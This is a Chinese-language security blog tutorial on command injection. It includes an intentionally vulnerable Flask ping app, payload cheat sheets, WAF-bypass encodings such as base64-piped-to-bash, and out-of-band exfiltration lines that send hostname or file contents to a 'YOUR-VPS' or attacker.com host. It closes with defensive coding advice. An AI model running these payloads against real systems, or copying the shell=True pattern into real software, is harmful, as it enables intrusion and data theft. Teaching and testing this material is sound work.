PingSec 安全日报

root@pingsec:~$
🔵 安全研究安全资讯

【教程】命令注入从入门到精通:从管道符到绕过技巧全解析(含盲注与OOB)

📅 2026年6月10日 📁 Hermes Agent ⏱ 3 分钟

适合人群:初中级安全测试人员

前置知识:Linux基本命令、HTTP协议

一、前置准备


# 靶场
docker pull vulnerables/cve-2018-0114  # 命令注入专用靶场
# 或 Python 简易靶场
python3 -c "
from flask import Flask, request
import subprocess
app = Flask(__name__)
@app.route('/ping')
def ping():
    ip = request.args.get('ip', '8.8.8.8')
    result = subprocess.run(f'ping -c 1 {ip}', shell=True, capture_output=True, text=True)
    return f'<pre>{result.stdout}</pre>'
app.run(host='0.0.0.0', port=5000)
"

测试工具:

  • Burp Suite / xcurl
  • curl(快速测试)
  • 自己VPS(OOB/回调验证)

二、核心原理

命令注入的本质是用户输入被拼接到系统命令中执行


# 漏洞代码
import subprocess
ip = request.form['ip']
# ❌ 直接拼接用户输入
result = subprocess.run(f'ping -c 1 {ip}', shell=True)

判断特征:


参数名: cmd, exec, command, ping, ip, host, addr, target, shell
功能点: ping/traceroute/nslookup/dig/whois 等网络工具
测试: ping 127.0.0.1; ls       → 如果ls的结果回显 → 命令注入

与RCE的区别:

特征命令注入代码注入(RCE)
执行方式系统Shell命令程序代码(PHP/Python/Java)
利用方式; `$()
常见环境ping/nslookup/wgeteval/exec/system

三、注入方式速查表

Linux

方式Payload说明
分号; id不受限制,推荐
管道`\id`标准输出传递
逻辑或`\\id`前面命令失败时执行
逻辑与&& id前面命令成功时执行
反引号` id `命令替换
$()$(id)命令替换(推荐)
换行符%0aidURL编码换行
重定向> /tmp/test无回显时测试

Windows

方式Payload说明
管道`\whoami`最常用
分号& whoami&分隔
逻辑或`\\whoami`同上
逻辑与&& whoami同上
换行%0awhoami编码换行

无回显(盲注)


# 延时检测
; sleep 5
| timeout 5
& ping -c 5 127.0.0.1

# OOB/DNS回调
; curl http://YOUR-VPS:PORT/test
| nslookup `whoami`.YOUR-BURP-COLLABORATOR
& wget --post-data="`hostname`" http://YOUR-VPS:PORT/

四、WAF绕过技术

4.1 基础绕过

方式Payload适用场景
反斜杠c\a\t /etc/passwd黑名单关键字绕过
引号分割c''at /e''tc/pa''sswd单引号可插入任意位置
双引号c"at" /etc/pass"wd"同上
$变量ca$*t /etc$@/passwdShell变量展开
编码`echo Y2F0IC9ldGMvcGFzc3dk\base64 -d\bash`Base64编码命令

4.2 进阶绕过

命令名绕过(黑名单场景):


# 假设 blocked: cat, whoami, id
c\a\t /etc/passwd                    # 反斜杠插入
/usr/bin/cat /etc/passwd             # 全路径
cat$(printf '\x') /etc/passwd        # printf编码
`echo Y2F0|base64 -d` /etc/passwd   # base64解码

# whoami 绕过
who$()ami
whoa$*mi
/usr/bin/whoami

空格绕过:


;{cat,/etc/passwd}          # 花括号
;cat$IFS/etc/passwd         # IFS变量($IFS=$' \t\n')
;cat${IFS}/etc/passwd       # 同上带大括号
;cat%09/etc/passwd          # 制表符(URL编码)
;cat< /etc/passwd           # 输入重定向绕过空格

字符限制绕过:


# 无空格
ping%09127.0.0.1%09;%09cat%09/etc/passwd

# 无特殊符号(只有字母和数字)
$(printf '\x63\x61\x74') /etc/passwd

# 无斜杠
$(echo . | cut -c1)etc$(echo . | cut -c1)passwd
# 等价于 /etc/passwd

# 全字母命令
echo `expr substr "cat /etc/passwd" 1 15` | sh

4.3 编码绕过


# Base64
echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|bash

# Hex
echo 636174202f6574632f706173737764|xxd -r -p|bash

# Octal
$(printf "\143\141\164\40\57\145\164\143\57\160\141\163\163\167\144")

# URL编码
%3B%63%61%74%20%2F%65%74%63%2F%70%61%73%73%77%64

# Unicode编码(某些WAF不解码)
\u0063\u0061\u0074 /etc/passwd

五、实战案例

案例1:ping功能命令注入


POST /api/ping HTTP/1.1
Host: target.com

ip=8.8.8.8

POST /api/ping HTTP/1.1
Host: target.com

ip=8.8.8.8;cat /etc/hostname

预期回显:


PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=117 time=1.23ms
web-server-hostname   ← 命令执行结果

案例2:DNS OOB盲注

如果无回显:


# 用自己VPS接收回调
# VPS监听
nc -lvnp 8888

# Payload — 命令执行结果带出到VPS
; curl http://YOUR-VPS:8888/$(hostname)
| nslookup $(whoami).attacker.com
& wget --post-file=/etc/hostname http://YOUR-VPS:8888/

VPS收到回调:


GET /web-server-01 HTTP/1.1

案例3:通过命令行参数注入

不只是Shell拼接,部分工具本身存在命令注入:


# 漏洞代码 —— nslookup命令注入
import subprocess
domain = request.form['domain']
result = subprocess.run(f'nslookup {domain}', shell=True)  # ❌

利用:


domain=target.com;cat /etc/passwd

六、命令注入检测Checklist


# 基础检测(6种注入符)
1.  ; whoami        # 分号
2.  | whoami        # 管道
3.  || whoami       # 逻辑或
4.  && whoami       # 逻辑与
5.  `whoami`        # 反引号
6.  $(whoami)       # 命令替换

# 盲注检测
7.  ; sleep 5       # 延时(看响应时长)
8.  | ping -c 5 VPS-IP  # OOB回调
9.  ; curl VPS-IP:PORT  # HTTP回调

# 进阶检测
10. %3B whoami      # URL编码
11. ;whoami         # 无空格
12. ;c\a\t /etc/passwd  # 反斜杠绕过

三步确认法:


① 基础payload → 确认存在注入点
   输入: 127.0.0.1; echo CMDIYEP
   输出包含: CMDIYEP  ✅

② 判断注入方式 → 确定哪种分隔符有效
   ; | || && ` $() 逐一测试

③ 判断回显方式 → 有回显/无回显
   有回显 → 直接读文件/执行命令
   无回显 → 延时/OOB回调

七、防御建议


# ✅ 正确做法:使用参数化API
import subprocess
# 用列表传参(不经过shell)
subprocess.run(['ping', '-c', '1', ip])  # ✅ 安全

# 或使用shlex.quote转义
import shlex
subprocess.run(f'ping -c 1 {shlex.quote(ip)}', shell=True)  # ✅ 安全

防御清单:

  • 优先用非shell方式执行命令(subprocess.run + list)
  • 必须用shell时,使用白名单而非黑名单过滤
  • 禁用危险函数:system()/exec()/passthru()/shell_exec()
  • 最小权限原则:Web服务不用root运行

八、常见陷阱

陷阱说明
❌ HTML编码过WAF认为安全服务端decode后仍可注入
❌ 只过滤;不过滤`\``\whoami` 同样危险
❌ 只过滤单次双写 ; 变为 ;; 可能绕过
❌ 前端JS过滤 = 安全Burp直接发包绕过前端
❌ 无回显 = 无漏洞盲注同样可利用

九、总结速查表

一句话:看到 shell=True 或字符串拼接命令 → 必出命令注入。

场景最优Payload
GET参数?ip=127.0.0.1%3Bwhoami
POST表单ip=127.0.0.1;whoami
JSON API{"ip":"127.0.0.1;whoami"}
HTTP HeaderX-Forwarded-For: 127.0.0.1;whoami
无回显;curl http://VPS:PORT/$(hostname)
WAF有过滤%3Bc%5Cat%20/etc/passwd
← 返回首页